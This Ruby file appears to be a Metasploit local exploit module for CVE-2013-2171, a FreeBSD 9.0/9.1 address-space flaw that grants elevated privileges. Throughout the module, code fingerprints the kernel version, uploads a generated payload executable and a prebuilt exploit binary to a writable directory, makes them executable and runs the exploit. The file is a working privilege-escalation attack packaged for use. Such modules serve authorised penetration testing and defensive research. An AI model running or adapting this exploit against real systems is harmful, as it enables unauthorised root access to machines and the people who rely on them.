##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Exploit::EXE
  include Msf::Post::File
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FreeBSD 9 Address Space Manipulation Privilege Escalation',
        'Description' => %q{
          This module exploits a vulnerability that can be used to modify portions of
          a process's address space, which may lead to privilege escalation.  Systems
          such as FreeBSD 9.0 and 9.1 are known to be vulnerable.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Konstantin Belousov',   # Discovery
          'Alan Cox',              # Discovery
          'Hunger',                # POC
          'sinn3r'                 # Metasploit
        ],
        'Platform' => [ 'bsd' ],
        'Arch' => [ ARCH_X86 ],
        'SessionTypes' => [ 'shell' ],
        'References' => [
          [ 'CVE', '2013-2171' ],
          [ 'OSVDB', '94414' ],
          [ 'EDB', '26368' ],
          [ 'BID', '60615' ],
          [ 'URL', 'http://www.freebsd.org/security/advisories/FreeBSD-SA-13:06.mmap.asc' ]
        ],
        'Targets' => [
          [ 'FreeBSD x86', {} ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2013-06-18',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )
    register_options([
      # It isn't OptPath becuase it's a *remote* path
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
    ])
  end

  def check
    res = cmd_exec('uname -a')
    return Exploit::CheckCode::Appears if res =~ /FreeBSD 9\.[01]/

    Exploit::CheckCode::Safe
  end

  def upload_payload
    fname = datastore['WritableDir']
    fname = "#{fname}/" unless fname =~ %r{/$}
    if fname.length > 36
      fail_with(Failure::BadConfig, "WritableDir can't be longer than 33 characters")
    end
    fname = "#{fname}#{Rex::Text.rand_text_alpha(4)}"

    p = generate_payload_exe
    write_file(fname, p)
    return nil if !file_exist?(fname)

    cmd_exec("chmod +x #{fname}")
    fname
  end

  def generate_exploit(payload_fname)
    #
    # Metasm does not support FreeBSD executable generation.
    #
    path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2013-2171.bin')
    x = File.open(path, 'rb') { |f| f.read(f.stat.size) }
    x.gsub(/MSFABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/, payload_fname.ljust(40, "\x00"))
  end

  def upload_exploit(payload_fname)
    fname = "/tmp/#{Rex::Text.rand_text_alpha(4)}"
    bin = generate_exploit(payload_fname)
    write_file(fname, bin)
    return nil if !file_exist?(fname)

    cmd_exec("chmod +x #{fname}")
    fname
  end

  def exploit
    payload_fname = upload_payload
    fail_with(Failure::NotFound, 'Payload failed to upload') if payload_fname.nil?
    print_status("Payload #{payload_fname} uploaded.")

    exploit_fname = upload_exploit(payload_fname)
    fail_with(Failure::NotFound, 'Exploit failed to upload') if exploit_fname.nil?
    print_status("Exploit #{exploit_fname} uploaded.")

    register_files_for_cleanup(payload_fname, exploit_fname)

    print_status("Executing #{exploit_fname}")
    cmd_exec(exploit_fname)
  end
end